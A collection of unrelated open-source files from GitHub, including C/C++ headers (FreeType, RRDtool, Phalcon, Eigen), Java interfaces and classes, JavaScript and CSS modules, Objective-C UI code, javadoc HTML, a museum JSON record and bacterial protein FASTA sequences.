($reader->canRead($pFilename)) { return $reader; } } } throw new PHPExcel_Reader_Exception('Unable to identify a reader for this file'); } // function createReaderForFile() }
{ "pile_set_name": "Github" }
#include <stdio.h> #if (defined __GNUC__) && (!defined __MINGW32__) && (!defined __CYGWIN__) #define EIGEN_WEAK_LINKING __attribute__ ((weak)) #else #define EIGEN_WEAK_LINKING #endif #ifdef __cplusplus extern "C" { #endif EIGEN_WEAK_LINKING int xerbla_(const char * msg, int *info, int) { printf("Eigen BLAS ERROR #%i: %s\n", *info, msg ); return 0; } #ifdef __cplusplus } #endif
{ "pile_set_name": "Github" }
/* +------------------------------------------------------------------------+ | Phalcon Framework | +------------------------------------------------------------------------+ | Copyright (c) 2011-2014 Phalcon Team (http://www.phalconphp.com) | +------------------------------------------------------------------------+ | This source file is subject to the New BSD License that is bundled | | with this package in the file docs/LICENSE.txt. | | | | If you did not receive a copy of the license and are unable to | | obtain it through the world-wide-web, please send an email | | to [email protected] so we can send you a copy immediately. | +------------------------------------------------------------------------+ | Authors: Andres Gutierrez <[email protected]> | | Eduar Carvajal <[email protected]> | +------------------------------------------------------------------------+ */ #ifndef PHALCON_MVC_MODEL_ROW_H #define PHALCON_MVC_MODEL_ROW_H #include "php_phalcon.h" extern zend_class_entry *phalcon_mvc_model_row_ce; PHALCON_INIT_CLASS(Phalcon_Mvc_Model_Row); #endif /* PHALCON_MVC_MODEL_ROW_H */
{ "pile_set_name": "Github" }
import docuri from 'docuri' import randomString from 'src/util/random-string' export * from './create-page' export * from './delete-page' export * from './download-page' export * from './get-pages' export * from './get-page-content' export * from './statistics' export * from './text-search' export const pageKeyPrefix = 'page/' export const convertPageDocId = docuri.route(`${pageKeyPrefix}:timestamp/:nonce`) export function generatePageDocId({ timestamp, nonce } = {}) { const date = timestamp ? new Date(timestamp) : new Date() return convertPageDocId({ timestamp: date.getTime(), nonce: nonce || randomString(), }) }
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!--NewPage--> <HTML> <HEAD> <!-- Generated by javadoc (build 1.6.0_39) on Wed Mar 11 11:15:19 CST 2015 --> <META http-equiv="Content-Type" content="text/html; charset=utf-8"> <TITLE> 接口 com.sina.weibo.sdk.api.share.IWeiboShareAPI 的使用 </TITLE> <META NAME="date" CONTENT="2015-03-11"> <LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../../../../stylesheet.css" TITLE="Style"> <SCRIPT type="text/javascript"> function windowTitle() { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="接口 com.sina.weibo.sdk.api.share.IWeiboShareAPI 的使用"; } } </SCRIPT> <NOSCRIPT> </NOSCRIPT> </HEAD> <BODY BGCOLOR="white" onload="windowTitle();"> <HR> <HR> <CENTER> <H2> <B>接口 com.sina.weibo.sdk.api.share.IWeiboShareAPI<br>的使用</B></H2> </CENTER> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> 使用 <A HREF="../../../../../../../com/sina/weibo/sdk/api/share/IWeiboShareAPI.html" title="com.sina.weibo.sdk.api.share 中的接口">IWeiboShareAPI</A> 的软件包</FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD><A HREF="#com.sina.weibo.sdk.api.share"><B>com.sina.weibo.sdk.api.share</B></A></TD> <TD>&nbsp;&nbsp;</TD> </TR> </TABLE> &nbsp; <P> <A NAME="com.sina.weibo.sdk.api.share"><!-- --></A> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableHeadingColor"> <TH ALIGN="left" COLSPAN="2"><FONT SIZE="+2"> <A HREF="../../../../../../../com/sina/weibo/sdk/api/share/package-summary.html">com.sina.weibo.sdk.api.share</A> 中 <A HREF="../../../../../../../com/sina/weibo/sdk/api/share/IWeiboShareAPI.html" title="com.sina.weibo.sdk.api.share 中的接口">IWeiboShareAPI</A> 的使用</FONT></TH> </TR> </TABLE> &nbsp; <P> <TABLE BORDER="1" WIDTH="100%" CELLPADDING="3" CELLSPACING="0" SUMMARY=""> <TR BGCOLOR="#CCCCFF" CLASS="TableSubHeadingColor"> <TH ALIGN="left" COLSPAN="2">返回 <A HREF="../../../../../../../com/sina/weibo/sdk/api/share/IWeiboShareAPI.html" title="com.sina.weibo.sdk.api.share 中的接口">IWeiboShareAPI</A> 的 <A HREF="../../../../../../../com/sina/weibo/sdk/api/share/package-summary.html">com.sina.weibo.sdk.api.share</A> 中的方法</FONT></TH> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>static&nbsp;<A HREF="../../../../../../../com/sina/weibo/sdk/api/share/IWeiboShareAPI.html" title="com.sina.weibo.sdk.api.share 中的接口">IWeiboShareAPI</A></CODE></FONT></TD> <TD><CODE><B>WeiboShareSDK.</B><B><A HREF="../../../../../../../com/sina/weibo/sdk/api/share/WeiboShareSDK.html#createWeiboAPI(Context, java.lang.String)">createWeiboAPI</A></B>(Context&nbsp;context, java.lang.String&nbsp;appKey)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;创建微博接口实例。</TD> </TR> <TR BGCOLOR="white" CLASS="TableRowColor"> <TD ALIGN="right" VALIGN="top" WIDTH="1%"><FONT SIZE="-1"> <CODE>static&nbsp;<A HREF="../../../../../../../com/sina/weibo/sdk/api/share/IWeiboShareAPI.html" title="com.sina.weibo.sdk.api.share 中的接口">IWeiboShareAPI</A></CODE></FONT></TD> <TD><CODE><B>WeiboShareSDK.</B><B><A HREF="../../../../../../../com/sina/weibo/sdk/api/share/WeiboShareSDK.html#createWeiboAPI(Context, java.lang.String, boolean)">createWeiboAPI</A></B>(Context&nbsp;context, java.lang.String&nbsp;appKey, boolean&nbsp;isDownloadWeibo)</CODE> <BR> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;创建微博接口实例。</TD> </TR> </TABLE> &nbsp; <P> <HR> <HR> </BODY> </HTML>
{ "pile_set_name": "Github" }
{ "id": "35290517", "url": "https:\/\/collection.cooperhewitt.org\/types\/35290517\/", "name": "knotted net", "count_objects": "1", "supersedes": "0", "superseded_by": "0" }
{ "pile_set_name": "Github" }
/***************************************************************************/ /* */ /* ftfntfmt.h */ /* */ /* Support functions for font formats. */ /* */ /* Copyright 2002-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTFNTFMT_H_ #define FTFNTFMT_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* font_formats */ /* */ /* <Title> */ /* Font Formats */ /* */ /* <Abstract> */ /* Getting the font format. */ /* */ /* <Description> */ /* The single function in this section can be used to get the font */ /* format. Note that this information is not needed normally; */ /* however, there are special cases (like in PDF devices) where it is */ /* important to differentiate, in spite of FreeType's uniform API. */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Font_Format */ /* */ /* <Description> */ /* Return a string describing the format of a given face. Possible */ /* values are `TrueType', `Type~1', `BDF', `PCF', `Type~42', */ /* `CID~Type~1', `CFF', `PFR', and `Windows~FNT'. */ /* */ /* The return value is suitable to be used as an X11 FONT_PROPERTY. */ /* */ /* <Input> */ /* face :: */ /* Input face handle. */ /* */ /* <Return> */ /* Font format string. NULL in case of error. */ /* */ /* <Note> */ /* A deprecated name for the same function is */ /* `FT_Get_X11_Font_Format'. */ /* */ FT_EXPORT( const char* ) FT_Get_Font_Format( FT_Face face ); /* deprecated */ FT_EXPORT( const char* ) FT_Get_X11_Font_Format( FT_Face face ); /* */ FT_END_HEADER #endif /* FTFNTFMT_H_ */ /* END */
{ "pile_set_name": "Github" }
/* * Copyright (c) 1997, 2018 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at * http://www.eclipse.org/legal/epl-2.0. * * This Source Code may also be made available under the following Secondary * Licenses when the conditions for such availability set forth in the * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, * version 2 with the GNU Classpath Exception, which is available at * https://www.gnu.org/software/classpath/license.html. * * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ package org.glassfish.apf; import java.lang.annotation.Annotation; import java.lang.annotation.ElementType; import java.lang.reflect.AnnotatedElement; import java.util.logging.Level; /** * <p> * The annotation processor is the core engine to process annotations. * All the processing configuration (input classes, error handlers, etc...) * is provided by the ProcessingContext which can be either created from the * createContext method or through another mean. Once the ProcessingContext has * been initialized, it is passed to the process(ProcessingContext ctx) method which * triggers the annotation processing. * </p> * * <p> * Each class accessible from the ProcessingContext.getInputScanner instance, will be * scanned for annotations. * Each annotation will then be processed by invoking the corresponding AnnotationHandler * from its annotation type. * </p> * * <p> * The AnnotationProcessor can be configured by using the pushAnnotationHandler and * popAnnotationHandler which allow new AnnotationHandler instances to be registered and * unregistered for a particular annotation type. * </p> * * <p> * Even without reconfiguring the AnnotationProcessor instance with the above * configuration methods, the AnnotationProcessor implementation cannot guarantee * to be thread safe, therefore, it is encouraged the make instanciation cheap * and users should not use the same instance concurrently. * </p> * * @author Jerome Dochez */ public interface AnnotationProcessor { /** * Creates a new empty ProcessingContext instance which can be configured * before invoking the process() method. * @return an empty ProcessingContext */ public ProcessingContext createContext(); /** * Starts the annotation processing tool passing the processing context which * encapuslate all information necessary for the configuration of the tool. * @param ctx is the initialized processing context * @return the result of the annoations processing */ public ProcessingResult process(ProcessingContext ctx) throws AnnotationProcessorException; /** * Process a set of classes from the parameter list rather than from the * processing context. This allow the annotation handlers to call be the * annotation processing tool when classes need to be processed in a * particular context rather than when they are picked up by the scanner. * * @param the processing context * @param the list of classes to process * @return the processing result for such classes * @throws AnnotationProcessorException if handlers fail to process * an annotation */ public ProcessingResult process(ProcessingContext ctx, Class[] classes) throws AnnotationProcessorException; /** * Registers a new AnnotationHandler for a particular annotation type. New annotation handler * are pushed on a List of annotation handlers for that particular annotation type, the last * annotation handler to be registered will be invoked first and so on. * The annotation type handled by the AnnotationHandler instance is defined * by the getAnnotationType() method of the AnnotationHandler instance * * @param type the annotation type * @param handler the annotation handler instance */ public void pushAnnotationHandler(AnnotationHandler handler); /** * @return the top annotation handler for a particular annotation type * @param type the annotation type */ public AnnotationHandler getAnnotationHandler(Class<? extends Annotation> type); /** * Unregisters the last annotation handler registered for an annotation type. * @param type the annotation type. */ public void popAnnotationHandler(Class<? extends Annotation> type); /** * @return the most recent AnnotatedElement being processed which type is of the * given ElementType or null if there is no such element in the stack of * processed annotation elements. */ public AnnotatedElement getLastAnnotatedElement(ElementType type); /** * Log a message on the default logger */ public void log(Level level, AnnotationInfo locator, String localizedMessage); }
{ "pile_set_name": "Github" }
module.exports = ` .overflow-visible { overflow: visible; } .overflow-hidden { overflow: hidden; } .overflow-scroll { overflow: scroll; } .overflow-auto { overflow: auto; } .overflow-x-visible { overflow-x: visible; } .overflow-x-hidden { overflow-x: hidden; } .overflow-x-scroll { overflow-x: scroll; } .overflow-x-auto { overflow-x: auto; } .overflow-y-visible { overflow-y: visible; } .overflow-y-hidden { overflow-y: hidden; } .overflow-y-scroll { overflow-y: scroll; } .overflow-y-auto { overflow-y: auto; } `
{ "pile_set_name": "Github" }
package com.x.organization.core.express.person; import java.util.ArrayList; import java.util.Collection; import java.util.List; import com.x.base.core.project.AbstractContext; import com.x.base.core.project.annotation.FieldDescribe; import com.x.base.core.project.gson.GsonPropertyObject; class ActionListWithGroup extends BaseAction { public static List<String> execute(AbstractContext context, Collection<String> collection) throws Exception { Wi wi = new Wi(); if (null != collection) { wi.getGroupList().addAll(collection); } Wo wo = context.applications().postQuery(applicationClass, "person/list/group", wi).getData(Wo.class); return wo.getPersonList(); } public static class Wi extends GsonPropertyObject { @FieldDescribe("群组") private List<String> groupList = new ArrayList<>(); public List<String> getGroupList() { return groupList; } public void setGroupList(List<String> groupList) { this.groupList = groupList; } } public static class Wo extends WoPersonListAbstract { } }
{ "pile_set_name": "Github" }
/* * Copyright (C) 2007-2010 Júlio Vilmar Gesser. * Copyright (C) 2011, 2013-2015 The JavaParser Team. * * This file is part of JavaParser. * * JavaParser can be used either under the terms of * a) the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * b) the terms of the Apache License * * You should have received a copy of both licenses in LICENCE.LGPL and * LICENCE.APACHE. Please refer to those files for details. * * JavaParser is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. */ package com.github.javaparser.ast.expr; import com.github.javaparser.ast.visitor.GenericVisitor; import com.github.javaparser.ast.visitor.VoidVisitor; /** * @author Julio Vilmar Gesser */ public final class LongLiteralMinValueExpr extends LongLiteralExpr { public LongLiteralMinValueExpr() { super(MIN_VALUE); } public LongLiteralMinValueExpr(final int beginLine, final int beginColumn, final int endLine, final int endColumn) { super(beginLine, beginColumn, endLine, endColumn, MIN_VALUE); } @Override public <R, A> R accept(final GenericVisitor<R, A> v, final A arg) { return v.visit(this, arg); } @Override public <A> void accept(final VoidVisitor<A> v, final A arg) { v.visit(this, arg); } }
{ "pile_set_name": "Github" }
>Mycoplasma_agalactiae_5632_FP671138_gi|290752532|emb|CBH40504.1| MNKYEIMLIIDPAIDMAMANEIVESVFDKKNINKVVKLENSTLAYPINKSSKAQYIVYTLEAKSELIAEF TRRANIAKFIWRQMVINLDTEKGFQRSKKAFKHRIAKDAKVANKGTGVKQLIENLEKTMSHKAKPGFKKE VKKSN >Mycoplasma_genitalium_uid97_L43967_gi|3844677|gb|AAC71308.1| MHYNIILLVDGTLSLEQANQVEQKHQKLLEKATEFKSEYLGLKELAYPIKKQLSAHYYRWSFHGESNCTK EFKRAANINKQIIRELIINREKDYGYLGSVNPKKQQLSLQKLTKYNEIIASENNPDNPDAPVTSGLASVK PRLSRVEKQKERELEKWTVVHQSGNFDTVQINPYRPRIKRFLQNNQQTSQANNNQPRFQNQFKKGAKP >Mycoplasma_hyopneumoniae_AE017243_gi|71851770|gb|AAZ44378.1| MPKYEIMTILDPKAEMAIIDNLLKTVFGDNSTEKLRKLETTNLAYSIRKSKIAQYFLVDLNAPTNLIEEF VRRANITREIWRYLIVNLDSEKGLNKKPKIRERNRKYTLRRDRFDKPNFRGNPKSRFDQQDQQATKNQQN FQQNQQNQASQYRENSRQNQDDFQQVSSNQQNFGQNQQNQSGYHRENNRHNQENMHQNNKNHQNQTSQTQ RNRRQYQPIKNPKFNQKEKENYNNKKPQSSN
{ "pile_set_name": "Github" }
// // MWCaptionView.m // MWPhotoBrowser // // Created by Michael Waterfall on 30/12/2011. // Copyright (c) 2011 __MyCompanyName__. All rights reserved. // #import "MWCommon.h" #import "MWCaptionView.h" #import "MWPhoto.h" static const CGFloat labelPadding = 10; // Private @interface MWCaptionView () { id <MWPhoto> _photo; UILabel *_label; } @end @implementation MWCaptionView - (id)initWithPhoto:(id<MWPhoto>)photo { self = [super initWithFrame:CGRectMake(0, 0, 320, 44)]; // Random initial frame if (self) { self.userInteractionEnabled = NO; _photo = photo; self.barStyle = UIBarStyleBlackTranslucent; self.tintColor = nil; self.barTintColor = nil; self.barStyle = UIBarStyleBlackTranslucent; [self setBackgroundImage:nil forToolbarPosition:UIBarPositionAny barMetrics:UIBarMetricsDefault]; self.autoresizingMask = UIViewAutoresizingFlexibleWidth|UIViewAutoresizingFlexibleTopMargin|UIViewAutoresizingFlexibleLeftMargin|UIViewAutoresizingFlexibleRightMargin; [self setupCaption]; } return self; } - (CGSize)sizeThatFits:(CGSize)size { CGFloat maxHeight = 9999; if (_label.numberOfLines > 0) maxHeight = _label.font.leading*_label.numberOfLines; CGSize textSize = [_label.text boundingRectWithSize:CGSizeMake(size.width - labelPadding*2, maxHeight) options:NSStringDrawingUsesLineFragmentOrigin attributes:@{NSFontAttributeName:_label.font} context:nil].size; return CGSizeMake(size.width, textSize.height + labelPadding * 2); } - (void)setupCaption { _label = [[UILabel alloc] initWithFrame:CGRectIntegral(CGRectMake(labelPadding, 0, self.bounds.size.width-labelPadding*2, self.bounds.size.height))]; _label.autoresizingMask = UIViewAutoresizingFlexibleWidth|UIViewAutoresizingFlexibleHeight; _label.opaque = NO; _label.backgroundColor = [UIColor clearColor]; _label.textAlignment = NSTextAlignmentCenter; _label.lineBreakMode = NSLineBreakByWordWrapping; _label.numberOfLines = 0; _label.textColor = [UIColor whiteColor]; _label.font = [UIFont systemFontOfSize:17]; if ([_photo respondsToSelector:@selector(caption)]) { _label.text = [_photo caption] ? [_photo caption] : @" "; } [self addSubview:_label]; } @end
{ "pile_set_name": "Github" }
/***************************************************************************** * RRDtool 1.4.9 Copyright by Tobi Oetiker, 1997-2014 ***************************************************************************** * rrd_format.h RRD Database Format header *****************************************************************************/ #ifndef _RRD_FORMAT_H #define _RRD_FORMAT_H /* * _RRD_TOOL_H * We're building RRDTool itself. * * RRD_EXPORT_DEPRECATED * User is requesting internal function which need this struct. They have * been told that this will change and have agreed to adapt their programs. */ #if !defined(_RRD_TOOL_H) && !defined(RRD_EXPORT_DEPRECATED) # error "Do not include rrd_format.h directly. Include rrd.h instead!" #endif #include "rrd.h" /***************************************************************************** * put this in your /usr/lib/magic file (/etc/magic on HPUX) * * # rrd database format * 0 string RRD\0 rrd file * >5 string >\0 version '%s' * *****************************************************************************/ #define RRD_COOKIE "RRD" /* #define RRD_VERSION "0002" */ /* changed because microsecond precision requires another field */ #define RRD_VERSION "0004" #define RRD_VERSION3 "0003" #define FLOAT_COOKIE ((double)8.642135E130) typedef union unival { unsigned long u_cnt; rrd_value_t u_val; } unival; /**************************************************************************** * The RRD Database Structure * --------------------------- * * In oder to properly describe the database structure lets define a few * new words: * * ds - Data Source (ds) providing input to the database. A Data Source (ds) * can be a traffic counter, a temperature, the number of users logged * into a system. The rrd database format can handle the input of * several Data Sources (ds) in a singe database. * * dst - Data Source Type (dst). The Data Source Type (dst) defines the rules * applied to Build Primary Data Points from the input provided by the * data sources (ds). * * pdp - Primary Data Point (pdp). After the database has accepted the * input from the data sources (ds). It starts building Primary * Data Points (pdp) from the data. Primary Data Points (pdp) * are evenly spaced along the time axis (pdp_step). The values * of the Primary Data Points are calculated from the values of * the data source (ds) and the exact time these values were * provided by the data source (ds). * * pdp_st - PDP Start (pdp_st). The moments (pdp_st) in time where * these steps occur are defined by the moments where the * number of seconds since 1970-jan-1 modulo pdp_step equals * zero (pdp_st). * * cf - Consolidation Function (cf). An arbitrary Consolidation Function (cf) * (averaging, min, max) is applied to the primary data points (pdp) to * calculate the consolidated data point. * * cdp - Consolidated Data Point (cdp) is the long term storage format for data * in the rrd database. Consolidated Data Points represent one or * several primary data points collected along the time axis. The * Consolidated Data Points (cdp) are stored in Round Robin Archives * (rra). * * rra - Round Robin Archive (rra). This is the place where the * consolidated data points (cdp) get stored. The data is * organized in rows (row) and columns (col). The Round Robin * Archive got its name from the method data is stored in * there. An RRD database can contain several Round Robin * Archives. Each Round Robin Archive can have a different row * spacing along the time axis (pdp_cnt) and a different * consolidation function (cf) used to build its consolidated * data points (cdp). * * rra_st - RRA Start (rra_st). The moments (rra_st) in time where * Consolidated Data Points (cdp) are added to an rra are * defined by the moments where the number of seconds since * 1970-jan-1 modulo pdp_cnt*pdp_step equals zero (rra_st). * * row - Row (row). A row represent all consolidated data points (cdp) * in a round robin archive who are of the same age. * * col - Column (col). A column (col) represent all consolidated * data points (cdp) in a round robin archive (rra) who * originated from the same data source (ds). * */ /**************************************************************************** * POS 1: stat_head_t static header of the database ****************************************************************************/ typedef struct stat_head_t { /* Data Base Identification Section ** */ char cookie[4]; /* RRD */ char version[5]; /* version of the format */ double float_cookie; /* is it the correct double * representation ? */ /* Data Base Structure Definition **** */ unsigned long ds_cnt; /* how many different ds provide * input to the rrd */ unsigned long rra_cnt; /* how many rras will be maintained * in the rrd */ unsigned long pdp_step; /* pdp interval in seconds */ unival par[10]; /* global parameters ... unused at the moment */ } stat_head_t; /**************************************************************************** * POS 2: ds_def_t (* ds_cnt) Data Source definitions ****************************************************************************/ enum dst_en { DST_COUNTER = 0, /* data source types available */ DST_ABSOLUTE, DST_GAUGE, DST_DERIVE, DST_CDEF }; enum ds_param_en { DS_mrhb_cnt = 0, /* minimum required heartbeat. A * data source must provide input at * least every ds_mrhb seconds, * otherwise it is regarded dead and * will be set to UNKNOWN */ DS_min_val, /* the processed input of a ds must */ DS_max_val, /* be between max_val and min_val * both can be set to UNKNOWN if you * do not care. Data outside the limits * set to UNKNOWN */ DS_cdef = DS_mrhb_cnt }; /* pointer to encoded rpn * expression only applies to DST_CDEF */ /* The magic number here is one less than DS_NAM_SIZE */ #define DS_NAM_FMT "%19[a-zA-Z0-9_-]" #define DS_NAM_SIZE 20 #define DST_FMT "%19[A-Z]" #define DST_SIZE 20 typedef struct ds_def_t { char ds_nam[DS_NAM_SIZE]; /* Name of the data source (null terminated) */ char dst[DST_SIZE]; /* Type of data source (null terminated) */ unival par[10]; /* index of this array see ds_param_en */ } ds_def_t; /**************************************************************************** * POS 3: rra_def_t ( * rra_cnt) one for each store to be maintained ****************************************************************************/ enum cf_en { CF_AVERAGE = 0, /* data consolidation functions */ CF_MINIMUM, CF_MAXIMUM, CF_LAST, CF_HWPREDICT, /* An array of predictions using the seasonal * Holt-Winters algorithm. Requires an RRA of type * CF_SEASONAL for this data source. */ CF_SEASONAL, /* An array of seasonal effects. Requires an RRA of * type CF_HWPREDICT for this data source. */ CF_DEVPREDICT, /* An array of deviation predictions based upon * smoothed seasonal deviations. Requires an RRA of * type CF_DEVSEASONAL for this data source. */ CF_DEVSEASONAL, /* An array of smoothed seasonal deviations. Requires * an RRA of type CF_HWPREDICT for this data source. * */ CF_FAILURES, /* HWPREDICT that follows a moving baseline */ CF_MHWPREDICT /* new entries must come last !!! */ }; /* A binary array of failure indicators: 1 indicates * that the number of violations in the prescribed * window exceeded the prescribed threshold. */ #define MAX_RRA_PAR_EN 10 enum rra_par_en { RRA_cdp_xff_val = 0, /* what part of the consolidated * datapoint must be known, to produce a * valid entry in the rra */ /* CF_HWPREDICT: */ RRA_hw_alpha = 1, /* exponential smoothing parameter for the intercept in * the Holt-Winters prediction algorithm. */ RRA_hw_beta = 2, /* exponential smoothing parameter for the slope in * the Holt-Winters prediction algorithm. */ RRA_dependent_rra_idx = 3, /* For CF_HWPREDICT: index of the RRA with the seasonal * effects of the Holt-Winters algorithm (of type * CF_SEASONAL). * For CF_DEVPREDICT: index of the RRA with the seasonal * deviation predictions (of type CF_DEVSEASONAL). * For CF_SEASONAL: index of the RRA with the Holt-Winters * intercept and slope coefficient (of type CF_HWPREDICT). * For CF_DEVSEASONAL: index of the RRA with the * Holt-Winters prediction (of type CF_HWPREDICT). * For CF_FAILURES: index of the CF_DEVSEASONAL array. * */ /* CF_SEASONAL and CF_DEVSEASONAL: */ RRA_seasonal_gamma = 1, /* exponential smoothing parameter for seasonal effects. */ RRA_seasonal_smoothing_window = 2, /* fraction of the season to include in the running average * smoother */ /* RRA_dependent_rra_idx = 3, */ RRA_seasonal_smooth_idx = 4, /* an integer between 0 and row_count - 1 which * is index in the seasonal cycle for applying * the period smoother. */ /* CF_FAILURES: */ RRA_delta_pos = 1, /* confidence bound scaling parameters */ RRA_delta_neg = 2, /* RRA_dependent_rra_idx = 3, */ RRA_window_len = 4, RRA_failure_threshold = 5 /* For CF_FAILURES, number of violations within the last * window required to mark a failure. */ }; /* For CF_FAILURES, the length of the window for measuring * failures. */ #define CF_NAM_FMT "%19[A-Z]" #define CF_NAM_SIZE 20 typedef struct rra_def_t { char cf_nam[CF_NAM_SIZE]; /* consolidation function (null term) */ unsigned long row_cnt; /* number of entries in the store */ unsigned long pdp_cnt; /* how many primary data points are * required for a consolidated data * point?*/ unival par[MAX_RRA_PAR_EN]; /* index see rra_param_en */ } rra_def_t; /**************************************************************************** **************************************************************************** **************************************************************************** * LIVE PART OF THE HEADER. THIS WILL BE WRITTEN ON EVERY UPDATE * **************************************************************************** **************************************************************************** ****************************************************************************/ /**************************************************************************** * POS 4: live_head_t ****************************************************************************/ typedef struct live_head_t { time_t last_up; /* when was rrd last updated */ long last_up_usec; /* micro seconds part of the update timestamp. Always >= 0 */ } live_head_t; /**************************************************************************** * POS 5: pdp_prep_t (* ds_cnt) here we prepare the pdps ****************************************************************************/ #define LAST_DS_LEN 30 /* DO NOT CHANGE THIS ... */ enum pdp_par_en { PDP_unkn_sec_cnt = 0, /* how many seconds of the current * pdp value is unknown data? */ PDP_val }; /* current value of the pdp. this depends on dst */ typedef struct pdp_prep_t { char last_ds[LAST_DS_LEN]; /* the last reading from the data * source. this is stored in ASCII * to cater for very large counters * we might encounter in connection * with SNMP. */ unival scratch[10]; /* contents according to pdp_par_en */ } pdp_prep_t; /* data is passed from pdp to cdp when seconds since epoch modulo pdp_step == 0 obviously the updates do not occur at these times only. Especially does the format allow for updates to occur at different times for each data source. The rules which makes this work is as follows: * DS updates may only occur at ever increasing points in time * When any DS update arrives after a cdp update time, the *previous* update cycle gets executed. All pdps are transfered to cdps and the cdps feed the rras where necessary. Only then the new DS value is loaded into the PDP. */ /**************************************************************************** * POS 6: cdp_prep_t (* rra_cnt * ds_cnt ) data prep area for cdp values ****************************************************************************/ #define MAX_CDP_PAR_EN 10 #define MAX_CDP_FAILURES_IDX 8 /* max CDP scratch entries avail to record violations for a FAILURES RRA */ #define MAX_FAILURES_WINDOW_LEN 28 enum cdp_par_en { CDP_val = 0, /* the base_interval is always an * average */ CDP_unkn_pdp_cnt, /* how many unknown pdp were * integrated. This and the cdp_xff * will decide if this is going to * be a UNKNOWN or a valid value */ CDP_hw_intercept, /* Current intercept coefficient for the Holt-Winters * prediction algorithm. */ CDP_hw_last_intercept, /* Last iteration intercept coefficient for the Holt-Winters * prediction algorihtm. */ CDP_hw_slope, /* Current slope coefficient for the Holt-Winters * prediction algorithm. */ CDP_hw_last_slope, /* Last iteration slope coeffient. */ CDP_null_count, /* Number of sequential Unknown (DNAN) values + 1 preceding * the current prediction. * */ CDP_last_null_count, /* Last iteration count of Unknown (DNAN) values. */ CDP_primary_val = 8, /* optimization for bulk updates: the value of the first CDP * value to be written in the bulk update. */ CDP_secondary_val = 9, /* optimization for bulk updates: the value of subsequent * CDP values to be written in the bulk update. */ CDP_hw_seasonal = CDP_hw_intercept, /* Current seasonal coefficient for the Holt-Winters * prediction algorithm. This is stored in CDP prep to avoid * redundant seek operations. */ CDP_hw_last_seasonal = CDP_hw_last_intercept, /* Last iteration seasonal coeffient. */ CDP_seasonal_deviation = CDP_hw_intercept, CDP_last_seasonal_deviation = CDP_hw_last_intercept, CDP_init_seasonal = CDP_null_count }; /* init_seasonal is a flag which when > 0, forces smoothing updates * to occur when rra_ptr.cur_row == 0 */ typedef struct cdp_prep_t { unival scratch[MAX_CDP_PAR_EN]; /* contents according to cdp_par_en * * init state should be NAN */ } cdp_prep_t; /**************************************************************************** * POS 7: rra_ptr_t (* rra_cnt) pointers to the current row in each rra ****************************************************************************/ typedef struct rra_ptr_t { unsigned long cur_row; /* current row in the rra */ } rra_ptr_t; /**************************************************************************** **************************************************************************** * One single struct to hold all the others. For convenience. **************************************************************************** ****************************************************************************/ typedef struct rrd_t { stat_head_t *stat_head; /* the static header */ ds_def_t *ds_def; /* list of data source definitions */ rra_def_t *rra_def; /* list of round robin archive def */ live_head_t *live_head; /* rrd v >= 3 last_up with us */ time_t *legacy_last_up; /* rrd v < 3 last_up time */ pdp_prep_t *pdp_prep; /* pdp data prep area */ cdp_prep_t *cdp_prep; /* cdp prep area */ rra_ptr_t *rra_ptr; /* list of rra pointers */ rrd_value_t *rrd_value; /* list of rrd values */ } rrd_t; /**************************************************************************** **************************************************************************** * AFTER the header section we have the DATA STORAGE AREA it is made up from * Consolidated Data Points organized in Round Robin Archives. **************************************************************************** **************************************************************************** *RRA 0 (0,0) .................... ( ds_cnt -1 , 0) . . . (0, row_cnt -1) ... (ds_cnt -1, row_cnt -1) *RRA 1 *RRA 2 *RRA rra_cnt -1 ****************************************************************************/ #endif
{ "pile_set_name": "Github" }
/** * DO NOT EDIT * * This file was automatically generated by * https://github.com/Polymer/tools/tree/master/packages/gen-typescript-declarations * * To modify these typings, edit the source file(s): * polymer.html */ // tslint:disable:variable-name Describing an API that's defined elsewhere. /// <reference path="lib/legacy/legacy-element-mixin.d.ts" /> /// <reference path="lib/legacy/polymer-fn.d.ts" /> /// <reference path="lib/legacy/templatizer-behavior.d.ts" /> /// <reference path="lib/elements/dom-bind.d.ts" /> /// <reference path="lib/elements/dom-repeat.d.ts" /> /// <reference path="lib/elements/dom-if.d.ts" /> /// <reference path="lib/elements/array-selector.d.ts" /> /// <reference path="lib/elements/custom-style.d.ts" /> /// <reference path="lib/legacy/mutable-data-behavior.d.ts" /> /// <reference path="lib/utils/html-tag.d.ts" />
